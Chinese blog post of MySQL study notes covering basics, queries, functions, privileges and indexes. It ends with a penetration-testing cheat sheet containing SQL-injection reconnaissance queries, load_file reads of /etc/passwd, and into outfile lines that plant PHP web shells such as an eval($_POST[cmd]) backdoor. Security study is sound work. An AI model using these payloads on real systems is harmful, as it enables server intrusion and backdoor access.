MySQL数据库笔记

MySQL数据库笔记

一、数据库基础概念

1.1 什么是数据库

数据库(Database)是按照数据结构来组织、存储和管理数据的仓库,是一个长期存储在计算机内的、有组织、可共享、统一管理的大量数据的集合。

核心特点:

  • 持久化存储数据
  • 数据有组织、结构化
  • 支持多用户共享访问
  • 通过DBMS统一管理

1.2 数据库分类

关系型数据库(RDBMS)

特点: 使用表格存储数据,通过SQL语言操作,支持ACID事务。

数据库 说明 应用场景
MySQL 开源、流行、社区活跃 Web应用、中小型企业
MariaDB MySQL分支、完全兼容 替代MySQL
Oracle 企业级、功能强大、收费 大型企业、金融
SQL Server Microsoft产品 Windows环境
PostgreSQL 功能强大、扩展性好 复杂业务
SQLite 嵌入式、轻量级 移动应用、小型应用

非关系型数据库(NoSQL)

特点: 数据模型灵活,适合海量数据和高并发场景。

类型 说明 典型产品
键值存储 Key-Value形式 Redis、Memcached
文档存储 JSON格式文档 MongoDB
列存储 列族存储 HBase
图存储 图结构 Neo4j

关系型 vs 非关系型

对比项 关系型 非关系型
存储结构 表格 键值/文档等
查询语言 SQL 各自API
事务支持 完整ACID 有限支持
扩展方式 垂直扩展 水平扩展

1.3 数据库管理系统功能

功能分类 说明 主要命令
DDL(数据定义) 定义数据库结构 create、alter、drop
DML(数据操作) 操作数据内容 insert、update、delete、select
DCL(数据控制) 控制访问权限 grant、revoke

二、MySQL安装与连接

2.1 MariaDB安装(CentOS)

# 添加MariaDB源
vim /etc/yum.repos.d/MariaDB.repo

# 写入以下内容
[mariadb]
name = MariaDB
baseurl = http://yum.mariadb.org/10.5/centos7-amd64
gpgkey = https://yum.mariadb.org/RPM-GPG-KEY-MariaDB
gpgcheck = 1

# 安装
yum install -y MariaDB-server MariaDB-client

# 启动服务
systemctl start mariadb
systemctl enable mariadb

# 安全初始化
mysql_secure_installation

2.2 连接MySQL

基本连接语法:

mysql -u 用户名 -p
mysql -h 主机 -P 端口 -u 用户名 -p

连接参数:

参数 说明 示例
-h 主机地址 -h 192.168.1.100
-P 端口号(大写) -P 3306
-u 用户名 -u root
-p 密码(小写) -p-p'123456'
-D 指定数据库 -D mydb
-e 执行SQL语句 -e "show databases;"

连接示例:

# 本地连接
mysql -u root -p

# 远程连接
mysql -h 192.168.1.100 -P 3306 -u root -p

# 指定密码连接
mysql -u root -p'123456'

# 执行单条命令
mysql -u root -p -e "show databases;"

# 指定数据库连接
mysql -u root -p -D mydb

退出连接:

exit;
quit;
\q

2.3 服务管理命令

systemctl start mariadb      # 启动
systemctl stop mariadb       # 停止
systemctl restart mariadb    # 重启
systemctl status mariadb     # 查看状态
systemctl enable mariadb     # 开机自启
systemctl disable mariadb    # 取消自启

三、数据库与表操作

3.1 数据库操作

创建数据库

-- 基本语法
create database 数据库名;

-- 如果不存在则创建
create database if not exists 数据库名;

-- 指定字符集
create database 数据库名 default charset utf8mb4;

查看数据库

-- 查看所有数据库
show databases;

-- 查看数据库创建语句
show create database 数据库名;

-- 模糊查询
show databases like 'my%';

选择数据库

use 数据库名;

-- 查看当前数据库
select database();

删除数据库

drop database 数据库名;
drop database if exists 数据库名;

3.2 表操作

数据类型

数值类型:

类型 说明 范围
tinyint 微小整数 -128 ~ 127
smallint 小整数 -32768 ~ 32767
int 标准整数 -21亿 ~ 21亿
bigint 大整数 非常大
float 单精度浮点 4字节
double 双精度浮点 8字节
decimal(m,d) 精确小数 自定义

字符串类型:

类型 说明 最大长度
char(n) 定长字符串 255字符
varchar(n) 变长字符串 65535字符
text 长文本 65535字符
mediumtext 中等文本 16MB
longtext 超长文本 4GB

日期时间类型:

类型 格式 说明
date YYYY-MM-DD 日期
time HH:MM:SS 时间
datetime YYYY-MM-DD HH:MM:SS 日期时间
timestamp YYYY-MM-DD HH:MM:SS 时间戳(自动更新)

创建表

-- 基本语法
create table 表名 (
    字段名1 数据类型 [约束],
    字段名2 数据类型 [约束],
    ...
);

-- 示例
create table users (
    id int auto_increment primary key,
    username varchar(50) not null,
    password varchar(100) not null,
    email varchar(100),
    age int,
    created_at datetime default current_timestamp
);

查看表结构

-- 查看表结构(常用)
desc 表名;
describe 表名;

-- 查看创建语句
show create table 表名;

-- 查看所有表
show tables;

desc结果字段说明:

字段 说明
Field 字段名称
Type 数据类型
Null 是否允许空值
Key 索引类型(PRI主键、UNI唯一、MUL普通)
Default 默认值
Extra 额外信息(如auto_increment)

修改表

-- 添加字段
alter table 表名 add 字段名 数据类型;

-- 修改字段类型
alter table 表名 modify 字段名 新数据类型;

-- 修改字段名和类型
alter table 表名 change 旧字段名 新字段名 数据类型;

-- 删除字段
alter table 表名 drop column 字段名;

-- 修改表名
alter table 旧表名 rename to 新表名;
rename table 旧表名 to 新表名;

删除表

drop table 表名;
drop table if exists 表名;

-- 清空表数据
truncate table 表名;  -- 重置自增
delete from 表名;     -- 不重置自增

3.3 数据操作(CRUD)

插入数据

-- 插入单条
insert into 表名(字段1, 字段2) values(值1, 值2);

-- 插入所有字段
insert into 表名 values(值1, 值2, ...);

-- 批量插入
insert into 表名(字段1, 字段2) values 
(值1, 值2),
(值1, 值2),
(值1, 值2);

查询数据

-- 查询所有
select * from 表名;

-- 查询指定字段
select 字段1, 字段2 from 表名;

-- 条件查询
select * from 表名 where 条件;

-- 别名
select 字段 as 别名 from 表名;

-- 去重
select distinct 字段 from 表名;

更新数据

update 表名 set 字段1=值1, 字段2=值2 where 条件;

删除数据

delete from 表名 where 条件;

四、数据查询操作

4.1 条件查询(where)

比较运算符:

运算符 说明 示例
= 等于 id = 1
<> / != 不等于 status <> 0
> 大于 age > 18
< 小于 age < 60
>= 大于等于 score >= 60
<= 小于等于 price <= 100

逻辑运算符:

运算符 说明 示例
and age > 18 and status = 1
or id = 1 or id = 2
not not status = 0

范围查询:

-- between...and(闭区间)
select * from users where age between 18 and 30;

-- in(集合)
select * from users where id in (1, 2, 3);

-- not in(排除)
select * from users where id not in (1, 2, 3);

模糊查询(like):

-- % 匹配任意多个字符
-- _ 匹配单个字符

-- 以admin开头
select * from users where username like 'admin%';

-- 包含admin
select * from users where username like '%admin%';

-- 第二个字符是d
select * from users where username like '_d%';

null值查询:

-- 查询为null
select * from users where email is null;

-- 查询不为null
select * from users where email is not null;

4.2 排序(order by)

-- 升序(默认)
select * from users order by id asc;

-- 降序
select * from users order by id desc;

-- 多字段排序
select * from users order by status desc, created_at desc;

4.3 分页(limit)

-- 查询前5条
select * from users limit 5;

-- 从第6条开始,查询5条
select * from users limit 5, 5;
select * from users limit 5 offset 5;

-- 分页公式:偏移量 = (页码-1) * 每页数量
-- 第1页,每页10条
select * from users limit 0, 10;
-- 第2页
select * from users limit 10, 10;

4.4 聚合函数

函数 说明 示例
count() 统计数量 count(*)
sum() 求和 sum(amount)
avg() 平均值 avg(age)
max() 最大值 max(price)
min() 最小值 min(price)
select count(*) from users;
select avg(age) from users;
select max(salary), min(salary) from employees;

4.5 分组(group by)

-- 基本分组
select status, count(*) from users group by status;

-- having过滤分组结果
select dept_id, count(*) as cnt 
from employees 
group by dept_id 
having cnt > 5;

-- where vs having
-- where:过滤原始数据(group by之前)
-- having:过滤分组结果(group by之后)

4.6 多表连接查询

-- 内连接
select * from 表1 inner join 表2 on 表1.字段 = 表2.字段;

-- 左连接(返回左表所有记录)
select * from 表1 left join 表2 on 表1.字段 = 表2.字段;

-- 右连接(返回右表所有记录)
select * from 表1 right join 表2 on 表1.字段 = 表2.字段;

4.7 子查询

-- where子句中的子查询
select * from employees 
where salary > (select avg(salary) from employees);

-- in子查询
select * from users 
where dept_id in (select id from departments where name = 'IT');

-- from子句中的子查询
select * from (
    select * from users where status = 1
) as t;

五、MySQL内置函数

5.1 字符串函数

函数 说明 示例
concat(s1,s2,...) 连接字符串 concat('a','b','c') → 'abc'
concat_ws(sep,s1,s2,...) 指定分隔符连接 concat_ws('-','a','b') → 'a-b'
length(s) 字符串长度(字节) length('hello') → 5
char_length(s) 字符串长度(字符) char_length('你好') → 2
upper(s) 转大写 upper('hello') → 'HELLO'
lower(s) 转小写 lower('HELLO') → 'hello'
left(s,n) 取左边n个字符 left('hello',2) → 'he'
right(s,n) 取右边n个字符 right('hello',2) → 'lo'
substring(s,start,len) 截取子串 substring('hello',2,3) → 'ell'
replace(s,old,new) 替换 replace('hello','l','L') → 'heLLo'
trim(s) 去两端空格 trim(' hi ') → 'hi'
lpad(s,len,pad) 左填充 lpad('5',3,'0') → '005'
rpad(s,len,pad) 右填充 rpad('5',3,'0') → '500'
reverse(s) 反转 reverse('abc') → 'cba'
repeat(s,n) 重复n次 repeat('a',3) → 'aaa'
instr(s,substr) 子串位置 instr('hello','ll') → 3

示例:

-- 连接字符串
select concat(username, ':', password) from users;

-- 截取字符串
select substring(password, 1, 5) from users;

-- 查询字符串长度
select username, length(password) from users;

5.2 数值函数

函数 说明 示例
abs(n) 绝对值 abs(-5) → 5
ceil(n) 向上取整 ceil(3.2) → 4
floor(n) 向下取整 floor(3.8) → 3
round(n,d) 四舍五入 round(3.456,2) → 3.46
truncate(n,d) 截断小数 truncate(3.456,2) → 3.45
mod(m,n) 取模 mod(10,3) → 1
rand() 随机数(0-1) rand()
power(m,n) 幂运算 power(2,3) → 8
sqrt(n) 平方根 sqrt(16) → 4

5.3 日期时间函数

函数 说明 示例
now() 当前日期时间 2024-01-15 10:30:45
current_date() 当前日期 2024-01-15
current_time() 当前时间 10:30:45
year(date) 提取年份 year(now())
month(date) 提取月份 month(now())
day(date) 提取日 day(now())
hour(time) 提取小时 hour(now())
minute(time) 提取分钟 minute(now())
second(time) 提取秒 second(now())
date_format(date,fmt) 格式化日期 date_format(now(),'%Y-%m-%d')
datediff(d1,d2) 日期差 datediff('2024-01-20','2024-01-15') → 5
date_add(date,interval n unit) 日期加减 date_add(now(),interval 1 day)

日期格式化符号:

符号 说明
%Y 四位年份
%y 两位年份
%m 月份(01-12)
%d 日(01-31)
%H 小时(00-23)
%i 分钟(00-59)
%s 秒(00-59)

5.4 流程控制函数

-- if条件判断
select if(age >= 18, '成年', '未成年') from users;

-- ifnull空值处理
select ifnull(email, '未设置') from users;

-- case when多条件
select 
    username,
    case 
        when score >= 90 then '优秀'
        when score >= 80 then '良好'
        when score >= 60 then '及格'
        else '不及格'
    end as grade
from students;

5.5 其他常用函数

函数 说明 示例
database() 当前数据库 select database();
user() 当前用户 select user();
version() MySQL版本 select version();
@@datadir 数据目录 select @@datadir;
@@basedir 安装目录 select @@basedir;
@@version_compile_os 操作系统 select @@version_compile_os;
md5(s) MD5加密 md5('password')
sha1(s) SHA1加密 sha1('password')
load_file(path) 读取文件 load_file('/etc/passwd')
into outfile 写入文件 select 'xxx' into outfile '/tmp/xxx'
sleep(n) 休眠n秒 sleep(5)
benchmark(n,expr) 执行表达式n次 benchmark(10000000,sha1('test'))

六、用户权限管理

6.1 用户管理

用户账户格式

'用户名'@'主机名'

-- 示例
'root'@'localhost'       -- 只能本地登录
'admin'@'%'              -- 任意主机登录
'user'@'192.168.1.%'     -- 指定网段登录
'user'@'192.168.1.100'   -- 指定IP登录

创建用户

create user '用户名'@'主机名' identified by '密码';

-- 示例
create user 'webuser'@'localhost' identified by '123456';
create user 'admin'@'%' identified by 'admin123';

查看用户

-- 查看所有用户
select user, host from mysql.user;

-- 查看当前用户
select user();
select current_user();

-- 查看用户详细信息
select user, host, authentication_string from mysql.user;

删除用户

drop user '用户名'@'主机名';
drop user if exists '用户名'@'主机名';

6.2 权限管理

常用权限

权限 说明
all 所有权限
select 查询
insert 插入
update 更新
delete 删除
create 创建
drop 删除
alter 修改
file 文件读写
grant option 授权权限

授权语法

grant 权限列表 on 数据库.表 to '用户名'@'主机名' [with grant option];

授权示例

-- 授予所有权限
grant all on *.* to 'admin'@'%' with grant option;

-- 授予指定数据库所有权限
grant all on mydb.* to 'webuser'@'localhost';

-- 授予指定表权限
grant select, insert, update on mydb.users to 'appuser'@'%';

-- 授予只读权限
grant select on mydb.* to 'readonly'@'%';

查看权限

-- 查看当前用户权限
show grants;

-- 查看指定用户权限
show grants for '用户名'@'主机名';

撤销权限

revoke 权限列表 on 数据库.表 from '用户名'@'主机名';

-- 示例
revoke insert, update on mydb.users from 'appuser'@'%';
revoke all on mydb.* from 'webuser'@'localhost';

6.3 密码管理

修改密码

-- 方式1:alter user(推荐)
alter user '用户名'@'主机名' identified by '新密码';

-- 方式2:set password
set password for '用户名'@'主机名' = '新密码';

-- 方式3:修改user表
update mysql.user set authentication_string = password('新密码')
where user = '用户名' and host = '主机名';
flush privileges;

-- 修改当前用户密码
set password = '新密码';

忘记root密码

# 1. 停止MySQL服务
systemctl stop mariadb

# 2. 跳过权限表启动
mysqld_safe --skip-grant-tables &

# 3. 无密码登录
mysql -u root

# 4. 修改密码
flush privileges;
alter user 'root'@'localhost' identified by '新密码';

# 5. 重启服务
systemctl restart mariadb

6.4 刷新权限

-- 修改user表后需要刷新
flush privileges;

七、UNION联合查询

7.1 基本语法

select 字段 from 表1
union
select 字段 from 表2;

-- union all(不去重)
select 字段 from 表1
union all
select 字段 from 表2;

7.2 使用规则

规则 说明
字段数量相同 两个select的字段数必须相同
字段类型兼容 对应字段类型必须兼容
字段名取第一个 结果集字段名取第一个select的字段名

7.3 使用示例

-- 合并两个表的数据(去重)
select id, name from table1
union
select id, name from table2;

-- 合并两个表的数据(不去重)
select id, name from table1
union all
select id, name from table2;

-- 带条件合并
select id, name from users where status = 1
union
select id, name from admins where status = 1;

-- 合并不同表并添加标识
select 'user' as type, id, name from users
union all
select 'admin' as type, id, name from admins;

-- 使用order by(必须放在最后)
select id, name from users
union
select id, name from admins
order by id desc;

7.4 应用场景

场景 说明
合并相似表 合并结构相同的多张表
跨表统计 统计多张表的数据
数据迁移 从旧表迁移到新表
SQL注入 联合查询注入攻击

八、存储引擎与字符编码

8.1 存储引擎

查看存储引擎

-- 查看支持的存储引擎
show engines;

-- 查看默认存储引擎
show variables like 'default_storage_engine';

-- 查看表的存储引擎
show table status like '表名';
show create table 表名;

常用存储引擎

引擎 事务 锁机制 外键 适用场景
InnoDB 支持 行级锁 支持 写操作多、事务需求
MyISAM 不支持 表级锁 不支持 读操作多、无事务需求
Memory 不支持 表级锁 不支持 临时数据、缓存

InnoDB vs MyISAM

对比项 InnoDB MyISAM
事务支持 支持 不支持
锁机制 行级锁 表级锁
外键约束 支持 不支持
全文索引 5.6+支持 原生支持
崩溃恢复 支持 不支持
存储文件 .frm .ibd .frm .MYD .MYI

指定存储引擎

-- 创建表时指定
create table users (
    id int primary key,
    name varchar(50)
) engine=InnoDB;

-- 修改存储引擎
alter table 表名 engine = MyISAM;

8.2 字符编码

查看字符编码

-- 查看字符集设置
show variables like 'character%';

-- 查看排序规则
show variables like 'collation%';

-- 查看数据库字符集
show create database 数据库名;

-- 查看表字符集
show create table 表名;

常用字符集

字符集 说明
utf8 UTF-8编码(最多3字节)
utf8mb4 完整UTF-8编码(最多4字节,支持emoji)
latin1 西欧字符集(默认)
gbk 中文编码

设置字符编码

-- 创建数据库时指定
create database mydb default charset utf8mb4;

-- 创建表时指定
create table users (
    id int,
    name varchar(50)
) default charset=utf8mb4;

-- 修改数据库字符集
alter database 数据库名 character set utf8mb4;

-- 修改表字符集
alter table 表名 convert to character set utf8mb4;

-- 临时设置字符集
set names utf8mb4;

九、MySQL索引

9.1 索引概述

索引是帮助MySQL高效获取数据的数据结构,类似于书籍的目录。

优缺点:

优点 缺点
加快查询速度 占用磁盘空间
加速排序分组 降低数据修改速度

9.2 索引类型

类型 说明 特点
主键索引 primary key 唯一、非空、每表一个
唯一索引 unique 字段值唯一,允许null
普通索引 index 加速查询,无约束
全文索引 fulltext 全文搜索

9.3 索引操作

-- 创建索引
create index 索引名 on 表名(字段);
create unique index 索引名 on 表名(字段);

-- 添加索引
alter table 表名 add index 索引名(字段);
alter table 表名 add unique(字段);

-- 查看索引
show index from 表名;

-- 删除索引
drop index 索引名 on 表名;
alter table 表名 drop index 索引名;

9.4 索引失效场景

场景 示例
前置模糊匹配 like '%abc'
对字段使用函数 where year(date) = 2024
对字段进行计算 where age + 1 = 20
隐式类型转换 where phone = 13800138000(phone是字符串)
or条件一侧无索引 where a = 1 or b = 2(b无索引)
not in where id not in (1,2,3)

附录:渗透测试常用命令速查

信息收集

-- 查看版本
select version();
select @@version;

-- 查看当前用户
select user();
select current_user();

-- 查看当前数据库
select database();

-- 查看所有数据库
show databases;

-- 查看所有表
show tables;
select table_name from information_schema.tables where table_schema=database();

-- 查看表结构
desc 表名;

-- 查看所有用户
select user, host from mysql.user;

-- 查看数据目录
select @@datadir;

-- 查看安装目录
select @@basedir;

-- 查看操作系统
select @@version_compile_os;

权限相关

-- 查看当前用户权限
show grants;

-- 查看是否有file权限
select file_priv from mysql.user where user='xxx';

-- 查看是否有super权限
select super_priv from mysql.user where user='xxx';

文件操作(需要file权限)

-- 读取文件
select load_file('/etc/passwd');
select load_file('C:/Windows/System32/drivers/etc/hosts');

-- 写入文件
select '<?php phpinfo();?>' into outfile '/var/www/html/shell.php';
select '<?php @eval($_POST[cmd]);?>' into outfile '/var/www/html/shell.php';

-- 写入文件(使用dumpfile)
select 0x3c3f70687020706870696e666f28293b3f3e into dumpfile '/var/www/html/shell.php';

常用注入函数

-- 字符串连接
concat(user(), ':', database())
concat_ws(':', user(), database(), version())

-- 条件判断
if(1=1, 'true', 'false')
case when 1=1 then 'true' else 'false' end

-- 延时
sleep(5)
benchmark(10000000, sha1('test'))

-- 编码
hex('hello')
unhex('68656c6c6f')
md5('password')
sha1('password')

-- 字符串截取
substring('hello', 1, 3)
left('hello', 3)
right('hello', 3)

-- 字符串长度
length('hello')
char_length('你好')

-- ASCII转换
ascii('a')  -- 97
char(97)    -- 'a'

系统数据库

-- information_schema(元数据库)
-- 查看所有数据库
select schema_name from information_schema.schemata;

-- 查看所有表
select table_name from information_schema.tables where table_schema='数据库名';

-- 查看所有列
select column_name from information_schema.columns where table_name='表名';

-- mysql(用户权限数据库)
select user, host, authentication_string from mysql.user;

注释方式

-- 单行注释
# 单行注释
/* 多行注释 */
/*! MySQL特有注释 */
/*!50000 MySQL版本注释 */

附录:常用命令速查表

数据库操作

create database 数据库名;                           -- 创建数据库
create database if not exists 数据库名 charset utf8mb4;  -- 创建数据库(带判断和字符集)
show databases;                                    -- 查看所有数据库
show create database 数据库名;                      -- 查看数据库创建语句
use 数据库名;                                       -- 选择数据库
select database();                                 -- 查看当前数据库
drop database 数据库名;                             -- 删除数据库
drop database if exists 数据库名;                   -- 删除数据库(带判断)

表操作

create table 表名 (字段定义);                       -- 创建表
show tables;                                        -- 查看所有表
desc 表名;                                          -- 查看表结构
show create table 表名;                             -- 查看表创建语句
show table status like '表名';                      -- 查看表状态
alter table 表名 add 字段定义;                      -- 添加字段
alter table 表名 modify 字段定义;                   -- 修改字段类型
alter table 表名 change 旧字段 新字段 定义;          -- 修改字段名和类型
alter table 表名 drop column 字段名;                -- 删除字段
alter table 表名 rename to 新表名;                  -- 修改表名
drop table 表名;                                    -- 删除表
truncate table 表名;                                -- 清空表

数据操作

insert into 表名 (字段) values (值);                -- 插入数据
insert into 表名 values (值);                       -- 插入数据(所有字段)
insert into 表名 values (),(),();                   -- 批量插入
select * from 表名;                                 -- 查询所有数据
select 字段 from 表名 where 条件;                   -- 条件查询
update 表名 set 字段=值 where 条件;                 -- 更新数据
delete from 表名 where 条件;                        -- 删除数据

索引操作

create index 索引名 on 表名(字段);                  -- 创建索引
create unique index 索引名 on 表名(字段);           -- 创建唯一索引
show index from 表名;                               -- 查看索引
drop index 索引名 on 表名;                          -- 删除索引
alter table 表名 add index 索引名(字段);            -- 添加索引
alter table 表名 drop index 索引名;                 -- 删除索引

用户权限

create user '用户'@'主机' identified by '密码';     -- 创建用户
drop user '用户'@'主机';                            -- 删除用户
grant 权限 on 数据库.表 to '用户'@'主机';           -- 授权
revoke 权限 on 数据库.表 from '用户'@'主机';        -- 撤销权限
show grants for '用户'@'主机';                      -- 查看权限
flush privileges;                                   -- 刷新权限
alter user '用户'@'主机' identified by '新密码';    -- 修改密码

事务操作

start transaction;                                  -- 开启事务
begin;                                              -- 开启事务
commit;                                             -- 提交事务
rollback;                                           -- 回滚事务
savepoint 名称;                                     -- 设置保存点
rollback to savepoint 名称;                         -- 回滚到保存点

附录B:数据类型速查表

数值类型

类型 字节 范围 说明
tinyint 1 -128~127 / 0~255 微小整数
smallint 2 -32768~32767 / 0~65535 小整数
mediumint 3 -8388608~8388607 中等整数
int 4 -21亿~21亿 标准整数
bigint 8 非常大 大整数
float 4 单精度 单精度浮点
double 8 双精度 双精度浮点
decimal(m,d) 可变 精确值 精确小数

字符串类型

类型 最大长度 说明
char(n) 255 定长字符串
varchar(n) 65535 变长字符串
text 65535 长文本
mediumtext 16MB 中等文本
longtext 4GB 超长文本
enum 65535成员 枚举
set 64成员 集合

日期时间类型

类型 格式 范围
date YYYY-MM-DD 1000~9999
time HH:MM:SS -838~838小时
datetime YYYY-MM-DD HH:MM:SS 1000~9999
timestamp YYYY-MM-DD HH:MM:SS 1970~2038
year YYYY 1901~2155

posted @ 2026-02-28 16:50  丝云戏千鹤  阅读(25)  评论(0)    收藏  举报